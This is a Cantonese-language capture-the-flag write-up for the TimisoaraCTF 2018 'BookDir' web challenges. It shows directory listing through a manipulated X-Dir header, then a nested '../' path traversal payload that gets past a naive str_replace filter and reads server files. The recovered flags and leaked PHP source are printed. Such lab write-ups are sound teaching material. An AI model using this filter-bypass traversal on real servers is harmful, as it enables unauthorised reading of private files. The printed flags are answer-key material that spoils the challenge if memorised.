TimisoaraCTF2018-BookDir1-2

Question

http://89.38.210.129:8012

Solution

BookDir2

第一步入去睇source見到有個js file, 似乎係用黎裝住client side既core logic.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
let bookTemplate = `
<div class="col-lg-4 col-sm-6 text-center mb-4">
<h3>%NAME%</h3>
<p>%MESSAGE%</p>
</div>
`;

let bookMessages = [
'A great book indeed!',
'Best content you can get out there.',
'Best-seller & #1 10 times in a row.',
'Featured and recommended by us.',
];

$.ajax({
url: 'booklist.php',
dataType: 'json',
type: 'GET',
headers: {'X-Dir': '.'},
success: (books) => {
let container = $('#books');
books.forEach(book => {
// let message = bookMessages[Math.floor(Math.random() * bookMessages.length)];
$.getJSON('booklist.php?f=' + book.name, message => {
container.append(bookTemplate.replace(/%NAME%/g, book.name).replace(/%MESSAGE%/g, message));
});
})
},
});

呢段script就咁睇似乎 booklist.php 係用黎拎book list既 , 咁佢需要既野正係得 X-Dir , 或者個X-Dir係用黎控制係邊個directory拎野?
正常request過去睇下咩黎架先

1
[{"name":"Beloved"},{"name":"Catch-22"},{"name":"Lolita"},{"name":"Nineteen Eighty-Four"},{"name":"The Catcher in the Rye"},{"name":"The Grapes of Wrath"},{"name":"The Great Gatsby"},{"name":"The Sound and the Fury"},{"name":"Ulysses"}]

咁試下改佢做 ../ 再request睇下先
果然拎番黎既結果唔同左

1
[{"name":"4o4_fl4g_n0t_f0und.php"},{"name":"booklist.php"},{"name":"books.js"},{"name":"css"},{"name":"index.html"},{"name":"list"},{"name":"vendor"}]

咁而家要做既野應該就係諗方法點讀個 4o4_fl4g_n0t_f0und.php
睇番條javascript, 原來booklist.php仲可以收個f variable, 咁就睇應該係個filename
直接試下入f=4o4_fl4g_n0t_f0und.php先 , 不過發現原來係唔work既

1
false

咁試下入番正常書名先 f=Beloved

1
"\"124 was spiteful. Full of baby's venom. The women in the house knew it and so did the children.\"\n"

發現又回到野喎 , 咁可能個X-Dir應該正係用黎list directory , 真正讀file果下應該set死左係list個folder到
咁既話應該可以 f=../4o4_fl4g_n0t_f0und.php 黎讀番上一層個file , 不過發現都係fail左
有機會係套source直接將../ replace左之類 , 咁唯有試下 …/./4o4_fl4g_n0t_f0und.php 啦

1
"<?php\n\/\/ timctf{f0und_f1rst_p4rt___wh4t_n3xt}\n\n\/\/ Can you get the second part? :^)\n"

BookDir

承上題我地可以任意讀file之後 , 咁就順手讀埋 booklist.php睇下有冇flag啦

1
"<?php\n\n$headers = getallheaders();\n\nfunction waf($str) {\n    return str_replace('..\/', '', $str);\n}\n\nif (isset($_GET['f'])) {\n    ini_set('open_basedir', '\/var\/www\/site\/');\n    \/\/ ^ I wonder why that is.. ?\n\n    echo json_encode(file_get_contents('list\/' . waf($_GET['f'])));\n} else {\n    ini_set('open_basedir', '\/var\/www\/site\/books\/');\n\n    $dir = '.';\n    if (isset($headers['X-Dir'])) {\n        $dir = $headers['X-Dir']; \/\/ waf()? might be too easy for the first stage :^)\n\n        \/\/ artificial hack to check for \/ as last char after replacement\n        if ($dir[strlen($dir) - 1] !== '\/') {\n            $dir = '.';\n        }\n    }\n\n    $files = [];\n    foreach (array_diff(scandir('list\/' . $dir), ['..', '.']) as $file) {\n        $files[] = ['name' => $file];\n    }\n\n    echo json_encode($files);\n}\n"

結果係無既 , 咁順手試埋再上一層個.htaccess先

1
"<Files .htaccess>\n  Order allow,deny\n  Deny from all\n<\/Files>\n\n<Files w0w_y0u_g0t_m3___.php>\n  Order allow,deny\n  Deny from all\n<\/Files>\n\nRewriteEngine On\nRewriteRule ^(?:books\/list)\\b.* \/403.php\n"

發現左root directory 有個file叫w0w_y0u_g0tm3__.php

1
"<?php\n\n\/\/ timctf{b0Ok5_4r3_4m4z1ng}\necho 'c0ngr4ts!';\n"

Flag

BookDir: timctf{b0Ok5_4r3_4m4z1ng}
BookDir2: timctf{f0und_f1rst_p4rt___wh4t_n3xt}